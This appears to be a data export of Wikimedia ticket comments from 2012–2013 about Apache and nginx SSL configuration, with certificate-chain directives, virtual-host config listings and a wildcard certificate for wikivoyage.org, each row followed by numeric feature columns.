+371254,Use SSLCertificateChainFile in Gerrit Apache configuration,Issue taken by **dzahn**,,,1379540715,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+371245,Use SSLCertificateChainFile in Gerrit Apache configuration,%%%Should this stay open? done besides the unrelated issue?%%%,,,1379540481,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0
+371235,Use SSLCertificateChainFile in Gerrit Apache configuration,Reference by ticket #4912 added by dzahn,,,1365705274,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-20,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+371223,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On 2013-03-26 19:32:00, faidon wrote:%%%
+> The same page says:
+%%%[...]%%%
+> Trust me, it works.
+%%%Ok, great.%%%",,,1364326676,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1
+371211,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On Tue, Mar 26, 2013 at 07:05:38PM +0000, Daniel Zahn via RT wrote:%%%
+> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=608719
+%%%This is unrelated to this, but indeed it's a minor security issue that%%%
+%%%affects us, since we put our certificates in /etc/ssl/certs. I pointed%%%
+%%%that out to Ryan the other day and we had a discussion but I think we%%%
+%%%both forgot about it. It's minor, I can't think of a real attack%%%
+%%%scenario in our case (our certificates do not have CA:true).%%%",,,1364326333,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1
+371199,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On Tue, Mar 26, 2013 at 07:27:25PM +0000, Jeremy Baron via RT wrote:%%%
+> On 2013-03-26 12:13:22, hashar wrote:
+> > We have a bunch of virtual hosts explicitly declaring the SSL
+> > certificate to
+> > use. Per Faidon review, we should instead use: SSLCACertificatePath
+> > /etc/ssl/certs Then apache will find out which one to use. (note I
+> > have closed
+> > the bug report, lets track this in RT).
+>
+> [citation needed]
+>
+> The docs for that directive don't mention anything relevant. That
+> directive seems to be used only when using client certs.
+>
+> SSLCACertificatePath<https://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcacertificatepath>
+> says:
+> > This directive sets the directory where you keep the Certificates of
+> > Certification Authorities (CAs) whose clients you deal with. These are used
+> > to verify the client certificate on Client Authentication.
+%%%The same page says:%%%
+%%%SSLCertificateChainFile%%%
+%%%This should be used alternatively and/or additionally to%%%
+%%%SSLCACertificatePath for explicitly constructing the server%%%
+%%%certificate chain which is sent to the browser in addition to the%%%
+%%%server certificate. It is especially useful to avoid conflicts with CA%%%
+%%%certificates when using client authentication. Because although%%%
+%%%placing a CA certificate of the server certificate chain into%%%
+%%%SSLCACertificatePath has the same effect for the certificate chain%%%
+%%%construction, it has the side-effect that client certificates issued%%%
+%%%by this same CA certificate are also accepted on client%%%
+%%%authentication.%%%
+%%%Trust me, it works.%%%
+%%%Regards,%%%
+%%%Faidon%%%",,,1364326320,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-23,True,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,1,0,0,1,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+371185,Use SSLCertificateChainFile in Gerrit Apache configuration,//AdminCc jeremyb added by jeremyb//,,,1364326308,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+371173,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On 2013-03-26 12:13:22, hashar wrote:%%%
+> We have a bunch of virtual hosts explicitly declaring the SSL
+> certificate to
+> use. Per Faidon review, we should instead use: SSLCACertificatePath
+> /etc/ssl/certs Then apache will find out which one to use. (note I
+> have closed
+> the bug report, lets track this in RT).
+%%%[citation needed]%%%
+%%%The docs for that directive don't mention anything relevant. That%%%
+%%%directive seems to be used only when using client certs.%%%
+%%%SSLCACertificatePath<https://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcacertificatepath>%%%
+%%%says:%%%
+> This directive sets the directory where you keep the Certificates of
+> Certification Authorities (CAs) whose clients you deal with. These are
+%%%used%%%
+> to verify the client certificate on Client Authentication.",,,1364326045,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,False,,,-23,True,0,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+371162,Use SSLCertificateChainFile in Gerrit Apache configuration,%%%http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=608719%%%,,,1364324738,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+371150,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%etherpad_lite.wikimedia.org.erb: SSLEngine on%%%
+%%%etherpad_lite.wikimedia.org.erb: SSLCertificateFile <%= etherpad_ssl_cert %>%%%
+%%%etherpad_lite.wikimedia.org.erb: SSLCertificateKeyFile <%= etherpad_ssl_key %>%%%
+%%%ganglia.wikimedia.org.erb: SSLEngine on%%%
+%%%ganglia.wikimedia.org.erb: SSLCertificateFile <%= ganglia_ssl_cert %>%%%
+%%%ganglia.wikimedia.org.erb: SSLCertificateKeyFile <%= ganglia_ssl_key %>%%%
+%%%gerrit.wikimedia.org.erb: SSLEngine on%%%
+%%%gerrit.wikimedia.org.erb: SSLCertificateFile /etc/ssl/certs/<%= ssl_cert %>.pem%%%
+%%%gerrit.wikimedia.org.erb: SSLCertificateKeyFile /etc/ssl/private/<%=%%%
+%%%ssl_cert_key %>.key%%%
+%%%gerrit.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/<%= ssl_ca %>.pem%%%
+%%%graphite.wikimedia.org: SSLEngine on%%%
+%%%graphite.wikimedia.org: SSLCertificateFile%%%
+%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%graphite.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%graphite.wikimedia.org: SSLEngine on%%%
+%%%graphite.wikimedia.org: SSLCertificateFile%%%
+%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%graphite.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%graphite.wikimedia.org: SSLEngine on%%%
+%%%graphite.wikimedia.org: SSLCertificateFile%%%
+%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%graphite.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%icinga.wikimedia.org.erb: SSLEngine On%%%
+%%%icinga.wikimedia.org.erb: SSLCertificateFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.pem%%%
+%%%icinga.wikimedia.org.erb: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%icinga.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
+%%%icinga.wikimedia.org.erb: SSLEngine On%%%
+%%%icinga.wikimedia.org.erb: SSLCertificateFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.pem%%%
+%%%icinga.wikimedia.org.erb: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%icinga.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
+%%%icinga.wikimedia.org.erb: SSLRequireSSL%%%
+%%%icinga.wikimedia.org.erb: SSLEngine On%%%
+%%%icinga.wikimedia.org.erb: SSLCertificateFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.pem%%%
+%%%icinga.wikimedia.org.erb: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%icinga.wikimedia.org.erb: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
+%%%icinga.wikimedia.org.erb: SSLRequireSSL%%%
+%%%planet.erb: SSLEngine on%%%
+%%%planet.erb: SSLCertificateFile /etc/ssl/certs/star.planet.<%=%%%
+%%%planet_domain_name %>.pem%%%
+%%%planet.erb: SSLCertificateKeyFile /etc/ssl/private/star.planet.<%=%%%
+%%%planet_domain_name %>.key%%%
+%%%planet-language.erb: SSLEngine on%%%
+%%%planet-language.erb: SSLCertificateFile /etc/ssl/certs/star.planet.<%=%%%
+%%%planet_domain_name %>.pem%%%
+%%%planet-language.erb: SSLCertificateKeyFile /etc/ssl/private/star.planet.<%=%%%
+%%%planet_domain_name %>.key%%%
+%%%racktables.wikimedia.org.erb: SSLEngine on%%%
+%%%racktables.wikimedia.org.erb: SSLCertificateFile <%= racktables_ssl_cert %>%%%
+%%%racktables.wikimedia.org.erb: SSLCertificateKeyFile <%= racktables_ssl_key %>%%%
+%%%wikistats.erb: SSLEngine on%%%
+%%%wikistats.erb: SSLCertificateFile <%= wikistats_ssl_cert %>%%%
+%%%wikistats.erb: SSLCertificateKeyFile <%= wikistats_ssl_key %>%%%
+%%%wikitech.wikimedia.org.erb: SSLEngine on%%%
+%%%wikitech.wikimedia.org.erb: SSLCertificateFile /etc/ssl/certs/<%= certificate%%%
+%%%%>.pem%%%
+%%%wikitech.wikimedia.org.erb: SSLCertificateKeyFile /etc/ssl/private/<%=%%%
+%%%certificate %>.key%%%",,,1364320694,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1
+371138,Use SSLCertificateChainFile in Gerrit Apache configuration,//Status changed from 'new' to 'open' by RT_System//,,,1364320643,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+371124,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%blog.wikimedia.org: SSLEngine on%%%
+%%%blog.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%blog.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%blog.wikimedia.org: SSLEngine on%%%
+%%%blog.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%blog.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%bugzilla.wikimedia.org: SSLEngine On%%%
+%%%bugzilla.wikimedia.org: SSLCertificateFile%%%
+%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%bugzilla.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%bugzilla.wikimedia.org: SSLEngine On%%%
+%%%bugzilla.wikimedia.org: SSLCertificateFile%%%
+%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%bugzilla.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%bugzilla.wikimedia.org: SSLEngine On%%%
+%%%bugzilla.wikimedia.org: SSLCertificateFile%%%
+%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%bugzilla.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%contacts.wikimedia.org: SSLEngine On%%%
+%%%contacts.wikimedia.org: SSLCertificateFile%%%
+%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%contacts.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%controller.wikimedialabs.org: SSLEngine on%%%
+%%%controller.wikimedialabs.org: SSLCertificateFile%%%
+%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%controller.wikimedialabs.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%doc.wikimedia.org: SSLEngine on%%%
+%%%doc.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.mediawiki.org.pem%%%
+%%%doc.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.mediawiki.org.key%%%
+%%%doc.wikimedia.org: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
+%%%doc.wikimedia.org: SSLEngine on%%%
+%%%doc.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%doc.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%doc.wikimedia.org: SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem%%%
+%%%noc.wikimedia.org: SSLEngine on%%%
+%%%noc.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%noc.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%ocs.wikimania2009.wikimedia.org: SSLEngine on%%%
+%%%ocs.wikimania2009.wikimedia.org: SSLCertificateFile%%%
+%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%ocs.wikimania2009.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%outreachcivi.wikimedia.org: SSLEngine On%%%
+%%%outreachcivi.wikimedia.org: SSLCertificateFile%%%
+%%%/etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%outreachcivi.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%planet.wikimedia.org:# make all planet requests go to http instead of ssl%%%
+%%%planet.wikimedia.org: SSLEngine on%%%
+%%%planet.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%planet.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%secure.wikimedia.org: SSLEngine on%%%
+%%%secure.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%secure.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%
+%%%secure.wikimedia.org: # old URLs, redirect them to proper SSL%%%
+%%%svn.wikimedia.org: SSLEngine on%%%
+%%%svn.wikimedia.org: SSLCertificateFile /etc/ssl/certs/star.wikimedia.org.pem%%%
+%%%svn.wikimedia.org: SSLCertificateKeyFile%%%
+%%%/etc/ssl/private/star.wikimedia.org.key%%%",,,1364320642,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1
+81686,SSL / protoproxy config for wikivoyage,"
+",Medium,50.0,1352315191,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-i4lg35baorrmmpjiechz,task_description,resolved,True,c2,1,True,False,False,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+366330,SSL / protoproxy config for wikivoyage,//Status changed from 'open' to 'resolved' by dzahn//,,,1352409427,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+366322,SSL / protoproxy config for wikivoyage,"%%%nginx did not like us using 127.0.0.1 as a work-around for not having IPs yet.%%%
+%%%it broke config on the esams host because it would not accept that as a valid%%%
+%%%host.%%%
+%%%We had to work around that by not even creating configs for wikidata and%%%
+%%%wikivoyage on esams hosts at all.%%%
+%%%https://gerrit.wikimedia.org/r/#/c/32411/1/manifests/protoproxy.pp ,%%%
+%%%https://gerrit.wikimedia.org/r/#/c/32413/ etc%%%
+%%%--%%%
+%%%Works for me now. Getting valid Digicert certificate on%%%
+%%%https://fr.wikivoyage.org/wiki and similar, no warnings :)%%%",,,1352409427,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+366312,SSL / protoproxy config for wikivoyage,Dependency by ticket #3750 added by dzahn,,,1352315287,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+366301,SSL / protoproxy config for wikivoyage,Dependency on ticket #3696 added by dzahn,,,1352315266,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+366291,SSL / protoproxy config for wikivoyage,//Status changed from 'new' to 'open' by dzahn//,,,1352315222,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+366281,SSL / protoproxy config for wikivoyage,"%%%https://gerrit.wikimedia.org/r/#/c/32244/2/manifests/protoproxy.pp%%%
+%%%}%%%
+%%%293%%%
+%%%» # wikivoyage.org%%%
+%%%294%%%
+%%%» proxy_configuration{ wikivoyage:%%%
+%%%295%%%
+%%%» » proxy_addresses => {%%%
+%%%296%%%
+%%%» » » ""pmtpa"" => [ ""208.80.152.219"", ""[2620:0:860:ed1a::13]"" ],%%%
+%%%297%%%
+%%%» » » ""eqiad"" => [ ""208.80.154.243"", ""[2620:0:861:ed1a::13]"" ],%%%
+%%%298%%%
+%%%» » » ""esams"" => [ ""127.0.0.1"" ]%%%
+%%%299%%%
+%%%» » },%%%
+%%%300%%%
+%%%» » proxy_server_name => '*.wikivoyage.org',%%%
+%%%301%%%
+%%%» » proxy_server_cert_name => 'star.wikivoyage.org',%%%
+%%%302%%%
+%%%» » proxy_backend => {%%%
+%%%303%%%
+%%%» » » ""pmtpa"" => { ""primary"" => ""10.2.1.25"" },%%%
+%%%304%%%
+%%%» » » ""eqiad"" => { ""primary"" => ""10.2.2.25"" },%%%
+%%%305%%%
+%%%» » » ""esams"" => { ""primary"" => ""10.2.3.25"" }%%%
+%%%306%%%
+%%%» » },%%%
+%%%307%%%
+%%%» » ipv6_enabled => 'true',%%%
+%%%308%%%
+%%%» » enabled => 'true'%%%
+%%%309%%%
+%%%» }%%%",,,1352315222,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-i4lg35baorrmmpjiechz,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1
+81588,SSL cert for wikivoyage.org,"%%%it is 99.5% certain we will use this domain. we have already talked to the%%%
+%%%current owner about the domain transfer and they will visit us here at the%%%
+%%%office next week.%%%
+%%%we will need a *.wikivoyage.org SSL cert and we will need it relatively quick%%%
+%%%given the current schedule to start with the wikivoyage project%%%
+",Medium,50.0,1349980912,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-m53b2xsrujdho6bhwk5n,task_description,resolved,True,c2,1,True,False,False,-46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1
+365738,SSL cert for wikivoyage.org,//Status changed from 'open' to 'resolved' by dzahn//,,,1352346643,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+365729,SSL cert for wikivoyage.org,Dependency by ticket #3881 added by dzahn,,,1352315266,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+365719,SSL cert for wikivoyage.org,"%%%https://gerrit.wikimedia.org/r/#/c/32240/%%%
+%%%and key added to private repo.%%%
+%%%but we still have an issue with the wikipedia (not wikivoyage) cert we need to%%%
+%%%look at%%%",,,1352315162,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+365709,SSL cert for wikivoyage.org,"%%%On Wed Nov 07 15:36:18 2012, robh wrote:%%%
+> tridge:/data/ssl_certs/wildcards/
+>
+%%%Thanks Rob! Looks good%%%
+%%%Certificate:%%%
+%%%Data:%%%
+%%%Version: 3 (0x2)%%%
+%%%Serial Number:%%%
+%%%07:74:7e:30:df:75:35:04:7a:ec:b5:5a:f4:e5:3a:66%%%
+%%%Signature Algorithm: sha1WithRSAEncryption%%%
+%%%Issuer: C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert High Assurance%%%
+%%%CA-3%%%
+%%%Validity%%%
+%%%Not Before: Nov 7 00:00:00 2012 GMT%%%
+%%%Not After : Nov 12 12:00:00 2015 GMT%%%
+%%%Subject: C=US, ST=California, L=San Francisco, O=Wikimedia Foundation, Inc.,%%%
+%%%CN=*.wikivoyage.org%%%
+%%%...%%%
+%%%X509v3 Subject Alternative Name:%%%
